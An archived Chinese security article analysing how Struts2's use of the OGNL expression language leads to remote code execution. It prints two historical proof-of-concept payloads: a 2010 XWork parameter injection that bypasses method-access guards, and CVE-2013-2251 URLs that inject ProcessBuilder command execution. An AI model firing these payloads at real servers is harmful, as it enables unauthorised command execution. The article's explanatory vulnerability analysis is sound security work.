
        <html>
			<head>
			     <title>OGNL设计及使用不当造成的远程代码执行漏洞 - 紫气东来</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/papers/340">http://drops.wooyun.org/papers/340</a></h1>
				
      <p>
        <p>我们可以把OGNL作为一个底层产品,它在功能实现中的设计缺陷,是如何能够被利用并远程执行恶意代码的,而不是完全在struts2这个产品的功能设计层面去讨论漏洞原由!</p>

<h4>什么是OGNL?</h4>

<p>OGNL是Object-Graph Navigation Language的缩写，它是一种功能强大的表达式语言（Expression Language，简称为EL），通过它简单一致的表达式语法，可以存取对象的任意属性，调用对象的方法，遍历整个对象的结构图，实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。 <!--more--> OGNL三要素：(以下部分摘抄互联网某处,我觉得说得好)</p>

<pre><code>Ognl.setValue("department.name", user2, "dev");

System.out.println(user2.getDepartment().getName());

Ognl.setValue(Ognl.parseexpression_r("department.name"), context, user2, "otherDev");

System.out.println(user2.getDepartment().getName());

Ognl.setValue("department.name", user2, "dev");

System.out.println(user2.getDepartment().getName());

Ognl.setValue(Ognl.parseexpression_r("department.name"), context, user2, "otherDev");

System.out.println(user2.getDepartment().getName());
</code></pre>

<h4>1. 表达式（Expression）</h4>

<p>表达式是整个OGNL的核心，所有的OGNL操作都是针对表达式的解析后进行的。表达式会规定此次OGNL操作到底要干什么。我们可以看到，在上面的测试中，name、department.name等都是表达式，表示取name或者department中的name的值。OGNL支持很多类型的表达式，之后我们会看到更多。</p>

<h4>2. 根对象（Root Object）</h4>

<p>根对象可以理解为OGNL的操作对象。在表达式规定了“干什么”以后，你还需要指定到底“对谁干”。在上面的测试代码中，user就是根对象。这就意味着，我们需要对user这个对象去取name这个属性的值（对user这个对象去设置其中的department中的name属性值）。</p>

<h4>3. 上下文环境（Context）</h4>

<p>有了表达式和根对象，我们实际上已经可以使用OGNL的基本功能。例如，根据表达式对根对象进行取值或者设值工作。不过实际上，在OGNL的内部，所有的操作都会在一个特定的环境中运行，这个环境就是OGNL的上下文环境（Context）。说得再明白一些，就是这个上下文环境（Context），将规定OGNL的操作“在哪里干”。 OGN L的上下文环境是一个Map结构，称之为OgnlContext。上面我们提到的根对象（Root Object），事实上也会被加入到上下文环境中去，并且这将作为一个特殊的变量进行处理，具体就表现为针对根对象（Root Object）的存取操作的表达式是不需要增加#符号进行区分的。</p>

<p>Struts 2中的OGNL Context实现者为ActionContext，它结构示意图如下:</p>

<p> <img src="http://static.wooyun.org/201307/2013071900034178341.png" alt="2013071900034178341.png" /></p>

<p>当Struts2接受一个请求时，会迅速创建ActionContext，ValueStack，action 。然后把action存放进ValueStack，所以action的实例变量可以被OGNL访问</p>

<p>那struts2引入OGNL到底用来干什么?</p>

<p>我们知道在MVC中,其实所有的工作就是在各层间做数据流转.</p>

<p>在View层的数据是单一的,只有不带数据类型的字符串.在没有框架的时代我们使用的是手动写代码或者像struts1一样利用反射,填充表单数据并转换到Controller层的对象中，反射转换成java数据类型的commons组件伪代码,如：</p>

<pre><code>import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.beanutils.ConvertUtils;
import org.apache.commons.beanutils.PropertyUtils;

//自动装载表单及验证
public class LoadForm {
    //表单装载
    public static Object parseRequest(HttpServletRequest request,HttpServletResponse response,Object bean) throws ServletException, IOException{
           //取得所有参数列表
           Enumeration&lt;?&gt; enums = request.getParameterNames();
           //遍历所有参数列表
           while(enums.hasMoreElements()){
            Object obj = enums.nextElement();
            try {
             //取得这个参数在Bean中的数据类开
             Class&lt;?&gt; cls = PropertyUtils.getPropertyType(bean, obj.toString());
             //把相应的数据转换成对应的数据类型
             Object beanValue = ConvertUtils.convert(request.getParameter(obj.toString()), cls);
             //填充Bean值
             PropertyUtils.setProperty(bean, obj.toString(), beanValue);
            } catch (Exception e) {
                //不显示异常 e.printStackTrace();
            }
           }
           return bean;
        }   
    }
</code></pre>

<p>从Controller层到View层,还是手动写代码然后到页面上取,如伪代码:</p>

<pre><code>request.setAttribute("xxx", "xxx");
</code></pre>

<p>而Struts2采纳了XWork的一套完美方案(Xwork提供了很多核心功能：前端拦截机（interceptor），运行时表单属性验证，类型转换，强大的表达式语言（OGNL – the Object Graph Navigation Language），IoC（Inversion of Control反转控制）容器等). 并在此基础上构建一套所谓完美的机制,OGNL方案和OGNLValueStack机制.</p>

<p>View层到Controller层自动转储;然后是Controller层到View层,我们可以使用简易的表达式取对象数据显示到页面,如: ${对象.属性},节省不少代码时间且使用方便.而它的存储结构就是一棵对象，这里我们可以把对象树当成一个java对象寄存器，可以方便添加、访问对象等。 但是OGNL的这些功能或机制是危险的.</p>

<p>我们列举一下表达式功能操作清单：</p>

<pre><code>1. 基本对象树的访问
对象树的访问就是通过使用点号将对象的引用串联起来进行。
例如：xxxx，xxxx.xxxx，xxxx. xxxx. xxxx. xxxx. xxxx

2. 对容器变量的访问
对容器变量的访问，通过#符号加上表达式进行。
例如：#xxxx，#xxxx. xxxx，#xxxx.xxxxx. xxxx. xxxx. xxxx

3. 使用操作符号
OGNL表达式中能使用的操作符基本跟Java里的操作符一样，除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外，还能使用 mod, in, not in等。

4. 容器、数组、对象
OGNL支持对数组和ArrayList等容器的顺序访问：例如：group.users[0]
同时，OGNL支持对Map的按键值查找：
例如：#session['mySessionPropKey']
不仅如此，OGNL还支持容器的构造的表达式：
例如：{"green", "red", "blue"}构造一个List，#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map
你也可以通过任意类对象的构造函数进行对象新建：
例如：new Java.net.URL("xxxxxx/")

5. 对静态方法或变量的访问
要引用类的静态方法和字段，<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="17f3ac81f3acbbf08d93ffb6bfffa9a9f181aef2ab98f18fb8f3af97f1b7a0f08d9357747b766464">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>@<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="0d6068606f687feb859be58d884d6e616c7e7e">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>@method(args)：
例如：@<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="a3c0ccce8dc9c2d5c2c6dac68dc0ccd1c68df1c6d0ccd6d1c0c6e3e6ede2e1efe6">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>，@<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="c3a0acaeeda9a2b5a2a6baa6eda0acb1a6ed91a6b0acb6b1a0a683a4a6b782afaf91a6b0acb6b1a0a6b0">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>

6. 方法调用
直接通过类似Java的方法调用方式进行，你甚至可以传递参数：
例如：user.getName()，group.users.size()，group.containsUser(#requestUser)

7. 投影和选择
OGNL支持类似数据库中的投影（projection） 和选择（selection）。
投影就是选出集合中每个元素的相同属性组成新的集合，类似于关系数据库的字段操作。投影操作语法为 collection.{XXX}，其中XXX 是这个集合中每个元素的公共属性。
例如：group.userList.{username}将获得某个group中的所有user的name的列表。
选择就是过滤满足selection 条件的集合元素，类似于关系数据库的纪录操作。选择操作的语法为：collection.{X YYY}，其中X 是一个选择操作符，后面则是选择用的逻辑表达式。而选择操作符有三种：
? 选择满足条件的所有元素
^ 选择满足条件的第一个元素
$ 选择满足条件的最后一个元素
例如：group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。
</code></pre>

<p>结合之前的漏洞POC,只举两例漏洞说明本质问题所在(其他类似,如:安全限制绕过,非必要使用OGNL或奇葩地利用OGNL实现设计功能等).那么只要struts2的某些功能使用了OGNL功能,且外部参数传入OGNL流程的,理论上都是能够执行恶意代码的.</p>

<p>参照之前的PoC从“表达式功能操作清单”中选取“危险项清单”,一些危险的功能操作,问题就出现在它们身上，提供了比较有危害PoC的构造条件:</p>

<pre><code>1. 基本对象树的访问
对象树的访问就是通过使用点号将对象的引用串联起来进行。
例如：xxxx，xxxx.xxxx，xxxx. xxxx. xxxx. xxxx. xxxx

2. 对容器变量的访问
对容器变量的访问，通过#符号加上表达式进行。
例如：#xxxx，#xxxx. xxxx，#xxxx.xxxxx. xxxx. xxxx. xxxx

3. 容器、数组、对象
OGNL支持对数组和ArrayList等容器的顺序访问：例如：group.users[0]
同时，OGNL支持对Map的按键值查找：
例如：#session['mySessionPropKey']
不仅如此，OGNL还支持容器的构造的表达式：
例如：{"green", "red", "blue"}构造一个List，#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map
你也可以通过任意类对象的构造函数进行对象新建：
例如：new Java.net.URL("xxxxxx/")

4. 对静态方法或变量的访问
要引用类的静态方法和字段，<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="f6124d60124d5a116c721e575e1e484810604f134a79106e59124e76105641116c72b6959a978585">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>@<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="600d050d02051286e8f688e0e520030c011313">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>@method(args)：
例如：@<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="f2919d9fdc98938493978b97dc919d8097dca097819d87809197b2b7bcb3b0beb7">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>，@<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="9ffcf0f2b1f5fee9fefae6fab1fcf0edfab1cdfaecf0eaedfcfadff8faebdef3f3cdfaecf0eaedfcfaec">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>

5. 方法调用
直接通过类似Java的方法调用方式进行，你甚至可以传递参数：
例如：user.getName()，group.users.size()，group.containsUser(#requestUser)
</code></pre>

<p>以及上下文环境和这个struts2设计，当Struts2接受一个请求时，会迅速创建ActionContext，ValueStack，action 。然后把action存放进ValueStack，所以action的实例变量可以被OGNL访问。</p>

<p>第一个,是2010年7月14号(亮点1:乌云好象就是这天出生的吧?),"Struts2/XWork &lt; 2.2.0远程执行任意代码漏洞",POC:</p>

<pre><code>?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&amp;amp;(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&amp;amp;(asdf)(('\u0023rt.exit(1)')(\u0023rt\<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="6d185d5d5e092d070c1b0c43010c030a433f180319040008">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>@getRuntime()))=1
</code></pre>

<p>也就是这个经典的POC,大家开始第一次认识struts2漏洞(之前也有，只是那时很少有人去关注,或许很容易就能找到一个0day(而且是永远的0day,回溯一下框架历史,我不能再提示了!)。 myibatis框架也有引入OGNL的,亲!</p>

<p>由于ONGL的调用可以通过http传参来执行，为了防止攻击者以此来调用任意方法，Xwork设置了两个参数来进行防护：</p>

<pre><code>OgnlContext的属性 'xwork.MethodAccessor.denyMethodExecution'（默认为真）
SecurityMemberAccess私有字段'allowStaticMethodAccess'（默认为假）
</code></pre>

<p>(这里我现在还没想明白,既然都有这步限制了?为什么后面的那些还会出现,难道官方只会看着公布的PoC打补丁?)</p>

<p>这里大家都知道,是使用#限制OgnlContext 'xwork.MethodAccessor.denyMethodExecution'和'allowStaticMethodAccess'上下文访问以及静态方法调用的值设置.而漏洞作者使用十六进制编码绕过了限制,<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="58bce3d6b0d8d4b0e8dbbfccf01832392e39763439363f760a2d362c31353d">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>@getRuntime()这个静态方法执行命令.</p>

<pre><code>java.lang.Runtime.getRuntime().exit(1) （终止当前正在运行的 Java 虚拟机）
</code></pre>

<p>在某些struts2漏洞中已经开始改变这个观念,因为我们很难再绕过上面的安全限制了.去调用上下文的属性及静态方法执行恶意java代码.</p>

<p>但是"危险清单"中还有一个可以利用,OGNL表达式中居然可以去new一个java对象(见危险项清单 3.),对于构造PoC足够用了，而不需要上面那些条件.(之前也有类似的相关漏洞,我发现官方并不喜欢做代码审计的)</p>

<p>Apache Struts CVE-2013-2251 Multiple Remote Command Execution Vulnerabilities</p>

<p>这里漏洞原理大致是这样,作者一共提供了三个PoC:</p>

<pre><code>http://www.example.com/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} (这个和后面两个是有点区别的，多测试目标时你会发现！)

http://www.example.com/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://www.example.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} 





action:
redirect:
redirectAction:
</code></pre>

<p>这三关键字是struts2设计出来做短地址导航的,但它奇葩地方在于,如：redirectAction:${恶意代码}后面可以跟OGNL表达式执行,找这种相关的漏洞很好找（如果还有）,查看struts2源代码${},%{}等(struts2只认定这些特征的代码进入OGNL表达式执行流程)，struts2执行ognl表达式的实现功能的地方.</p>

<p>而java.lang.ProcessBuilder是另外一个可以执行命令的java基础类,还有后面大家手中的PoC(new文件操作及输入输出流相关危险类等),此时我们发现只要new对象然后调用其方法就可以了.不再需要上面的一些静态方法等.</p>

<p>这里只能将OGNL和struts2各打50大板了!</p>      </p>
    
			</body>
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